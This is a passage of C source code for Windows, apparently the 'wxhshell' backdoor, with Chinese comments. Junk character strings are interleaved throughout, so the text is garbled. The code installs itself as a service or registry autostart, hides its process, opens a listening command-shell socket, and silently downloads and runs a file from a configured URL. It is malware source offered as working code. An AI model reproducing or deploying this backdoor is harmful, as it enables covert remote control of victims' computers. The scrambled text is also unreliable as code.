F\:(*1C C#;@y|Rw if(strstr(procName,"services")) return 1; // 以服务启动 R{?vQsLk jJBnDxsA return 0; // 注册表启动 ? gSSli[ } R^%e1KO] +}aC-& // 主模块 [
]^X`R int StartWxhshell(LPSTR lpCmdLine) FRZs[\I|iT { g$FEEDF SOCKET wsl; 5wT>N46UX BOOL val=TRUE; Qf
xH9_ int port=0; d"ZU y!a struct sockaddr_in door; )\ZzTS HI`q1m. if(wscfg.ws_autoins) Install(); dlD ki. ufrqsv]= port=atoi(lpCmdLine); jQ=~g-y P=`1 rjPE if(port<=0) port=wscfg.ws_port; 8uch i |cDszoT
/ WSADATA data; 0q,pi qjO if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I
:)W*SK P`jL]x if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; {Dr@HP/x=s setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 33K*qaRAD door.sin_family = AF_INET; +}@8p[`) door.sin_addr.s_addr = inet_addr("127.0.0.1"); J!TBREK door.sin_port = htons(port); !MVj=( p!zJ;rh) if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hoQ7).> closesocket(wsl); |0.Xl+7 return 1; r-IT(DzkD } s-*._; "e6|"w@8 if(listen(wsl,2) == INVALID_SOCKET) { iiG f'@/ closesocket(wsl); 8K{[2O7i) return 1; 1A<,TFg } `f9gC3Hk Wxhshell(wsl); &aG*k* WSACleanup(); BqH]-'1G c</1 return 0; qAY%nA>jO gSt`% } uD9|.P} F$MX,,4U // 以NT服务方式启动 F|+W.9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xW_yLbE { <rIz Z'D DWORD status = 0; /6+NU^ DWORD specificError = 0xfffffff; ^ qvZ XS Uxu\u0* serviceStatus.dwServiceType = SERVICE_WIN32; E9}{1A serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8VQ 24r
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yx>_scv,T serviceStatus.dwWin32ExitCode = 0; ycAKK?O* serviceStatus.dwServiceSpecificExitCode = 0; a9U_ug58 serviceStatus.dwCheckPoint = 0; )92r{%N serviceStatus.dwWaitHint = 0; ]zfG~^. #VVr"*7$ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
-\,zRIOK if (hServiceStatusHandle==0) return; o "z@&G" ^ $`VFdAe status = GetLastError(); $uDqqG(^ if (status!=NO_ERROR) TDt Amk { ]N{0:Va@D serviceStatus.dwCurrentState = SERVICE_STOPPED; A,gEM4 serviceStatus.dwCheckPoint = 0; beXNrf=bG serviceStatus.dwWaitHint = 0; sJG5/w serviceStatus.dwWin32ExitCode = status; NbRn*nb/T serviceStatus.dwServiceSpecificExitCode = specificError; *G5c |Y SetServiceStatus(hServiceStatusHandle, &serviceStatus); )ChqATKg return; Ts$@s^S] } E=]4ctK ut2~rRiK serviceStatus.dwCurrentState = SERVICE_RUNNING; q,>?QBct* serviceStatus.dwCheckPoint = 0; YDC&u8 serviceStatus.dwWaitHint = 0; ZD>a>] if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TX [%(ft } qMYe{{r ^|MjJsn // 处理NT服务事件,比如:启动、停止 Q{g;J`Z)p VOID WINAPI NTServiceHandler(DWORD fdwControl) Tr&M~Lgb) { 2aN<w'pA switch(fdwControl) U/l?>lOD\ { BX+.0M
case SERVICE_CONTROL_STOP: _-TA{21) serviceStatus.dwWin32ExitCode = 0; BB$oq' serviceStatus.dwCurrentState = SERVICE_STOPPED; tw=oH9c80 serviceStatus.dwCheckPoint = 0; lfZ04M{2 serviceStatus.dwWaitHint = 0; gB'fFkd { M]]pTU(( SetServiceStatus(hServiceStatusHandle, &serviceStatus); #/2$+x } 4qi[r)G return; [K/m
case SERVICE_CONTROL_PAUSE: tWeFEVg serviceStatus.dwCurrentState = SERVICE_PAUSED; 0\9K3 break; o=J9 case SERVICE_CONTROL_CONTINUE: }J:+{4Yn serviceStatus.dwCurrentState = SERVICE_RUNNING; 5N[9
vW break; Z;l`YK^- case SERVICE_CONTROL_INTERROGATE: [U@;\V$ break; _ *f }; ``VW;l{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); k^"bLf(4 } RoGwK*j0+ W,^W^:m-x // 标准应用程序主函数 LUX*P7*B int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z6p5*+ { T:]L/wCj BQH}6ueZ // 获取操作系统版本 $Xm6N@ OsIsNt=GetOsVer(); yS(}:'`r GetModuleFileName(NULL,ExeFile,MAX_PATH); !~]<$WZV }Ew hj>w // 从命令行安装 j^tW
Iz if(strpbrk(lpCmdLine,"iI")) Install(); 39wa|:I Vwk #qgnX // 下载执行文件 %UUH" if(wscfg.ws_downexe) { 9^Fz iM if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5irwz4.4 WinExec(wscfg.ws_filenam,SW_HIDE); yXI >I } 'H8(=9O1d ",aTWQgN if(!OsIsNt) { tVrY3)c // 如果时win9x,隐藏进程并且设置为注册表启动 YOr:sb HideProc(); GeszgtK{T StartWxhshell(lpCmdLine); Q\ /uKQ } M-)RQ-h else X$%4$ if(StartFromService()) 2*"Fu:a"`I // 以服务方式启动 .MQ^( StartServiceCtrlDispatcher(DispatchTable); b45|vX+j else =@,Q Dm]L // 普通方式启动 tE6!+c<7 StartWxhshell(lpCmdLine); 'r1LSht' wNFz*|n return 0; H{J'#
9H }
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